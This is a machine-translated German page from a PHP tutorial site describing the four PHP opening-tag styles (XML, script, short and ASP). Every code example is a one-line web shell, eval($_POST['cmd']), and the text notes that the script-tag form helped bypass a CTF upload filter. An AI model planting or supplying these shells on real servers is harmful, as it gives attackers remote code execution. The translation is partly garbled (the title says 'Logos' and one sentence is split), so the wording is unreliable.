“; das heißt, „“ Warten."/> “; das heißt, „“ Warten.">

Heim >Backend-Entwicklung >PHP-Problem >Was sind die Logos von PHP?

Was sind die Logos von PHP?

藏色散人
藏色散人Original
2019-10-31 10:23:493544Durchsuche

Was sind die Logos von PHP?

Was sind die Logos von PHP?

Vier PHP-Markup-Stile

1. XML-Stil

<?php
eval($_POST[&#39;cmd&#39;]); 
 ?>

Der von PHP empfohlene Markup-Stil.

Serveradministratoren können diesen Stil nicht deaktivieren und er ist auf allen Servern verfügbar.

2. Skriptstil

<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>

Es ist standardmäßig aktiviert und kann nicht deaktiviert werden

Der Autor ist einmal auf eine CTF-Frage gestoßen, die das Hochladen einer Shell erforderte, aber der Dateiinhalt war gefiltert.

<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>

3 zu umgehen. Kurzstil

<? 
    eval($_POST[&#39;cmd&#39;]);
?>

Dieser Stil muss in der sein Konfigurationsdatei php.ini Aktivieren Sie die Option short_open_tage in

Dieser Stil wird in vielen Umgebungen standardmäßig nicht unterstützt

4.ASP-Stil

<% 
    eval($_POST[&#39;cmd&#39;]);
%>

Dieser Stil muss in der sein Konfigurationsdatei php.ini Option „asp_tag aktivieren“

ist standardmäßig deaktiviert

Weitere PHP-bezogene Kenntnisse finden Sie auf der PHP-Chinese-Website !

Das obige ist der detaillierte Inhalt vonWas sind die Logos von PHP?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn